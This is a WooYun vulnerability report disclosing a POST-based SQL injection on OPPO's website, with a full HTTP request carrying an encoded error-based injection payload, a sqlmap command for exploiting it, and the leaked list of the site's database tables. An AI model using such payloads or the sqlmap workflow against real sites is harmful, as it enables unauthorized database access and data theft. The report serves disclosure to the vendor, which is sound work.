当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025853

漏洞标题:OPPO主站SQL注入漏洞

相关厂商:广东欧珀移动通讯有限公司

漏洞作者: 海绵宝宝

提交时间:2013-06-13 15:34

修复时间:2013-07-28 15:34

公开时间:2013-07-28 15:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-13: 细节已通知厂商并且等待厂商处理中
2013-06-14: 厂商已经确认,细节仅向厂商公开
2013-06-24: 细节向核心白帽子及相关领域专家公开
2013-07-04: 细节向普通白帽子公开
2013-07-14: 细节向实习白帽子公开
2013-07-28: 细节向公众公开

简要描述:

有人发过主站的注入,那个是get型注入,已经补了。但是补的不全,
这个是POST型注入

详细说明:

http://www.oppo.com

主站网址
利用WVS扫出来有注入点的

QQ图片20130613151917.jpg


虽然存在,但是POST不好利用
在/index.php下,name参赛和url参赛存在post型注入,但我在index.php中并未找到这两个参数
利用 WVS返回的结果仍然可以利用

POST /index.php?q=index/stat HTTP/1.1
Content-Length: 441
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=g7h14l8bajs4pepa2s7v6kjj75; visit=1; model=U701; CNZZDATA1309239=cnzz_eid%3D261854732-1371103504-http%253A%252F%252Fwww.oppo.com%26ntime%3D1371103504%26cnzz_a%3D0%26retime%3D1371103506709%26sin%3Djavascript%253AUPN9r7l8nQoPETLv()%253C%253E%26ltime%3D1371103506709%26rtime%3D0
Host: www.oppo.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
name=%27and%28select%201%20from%28select%20count%28*%29%2cconcat%28%28select%20concat%28CHAR%2852%29%2cCHAR%2867%29%2cCHAR%28117%29%2cCHAR%2897%29%2cCHAR%28112%29%2cCHAR%2873%29%2cCHAR%2883%29%2cCHAR%2848%29%2cCHAR%28121%29%2cCHAR%2874%29%2cCHAR%2890%29%29%20from%20information_schema.tables%20limit%200%2c1%29%2cfloor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29and%27&url=http%3A%2F%2Ftheme.oppo.com%2F


这段数据包是由WVS自己提交的,虽然我未找到name和url参数
将这段post请求保存为txt格式,放在sqlmap目录下
利用sqlmap,

.\sqlmap.py -r 2.txt -p name --dbs


这段命令,即可继续注入
参数url同理.

漏洞证明:

1.jpg


2.jpg


Database: oppo_www
[45 tables]
+------------------------------+
| HrefStat |
| Tetris |
| attachment |
| ipfilter |
| ipfilterall |
| mobilenet_attachment |
| oppo_aggragation |
| oppo_android_heat |
| oppo_apk_downloads |
| oppo_article |
| oppo_article_comment |
| oppo_article_content |
| oppo_assistant_feedback |
| oppo_category |
| oppo_ebook |
| oppo_editor_link |
| oppo_editor_link_class |
| oppo_globalfocus |
| oppo_mobile |
| oppo_mobile_activation |
| oppo_mobile_faq |
| oppo_mobile_faq_category |
| oppo_mobile_music |
| oppo_mobile_music_category |
| oppo_mobile_theme |
| oppo_mobilenet |
| oppo_mobilenet_news |
| oppo_mp3 |
| oppo_nearmeapk |
| oppo_page |
| oppo_serviceqq |
| oppo_softapk |
| oppo_softbeta |
| oppo_softimage |
| oppo_software |
| oppo_stat |
| oppo_threadlist_record |
| rom_updatelog |
| search_record |
| service_support_faq |
| service_support_network |
| service_support_opposhop |
| service_support_opposhop_pic |
| ticket |
| ticketcode |
+------------------------------+

修复方案:

虽然get注入已经补了,但过滤不严造成post注入依旧存在

版权声明:转载请注明来源 海绵宝宝@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-06-14 15:51

厂商回复:

感谢帮忙找出问题,已经提交给官网维护人员评估修改

最新状态:

暂无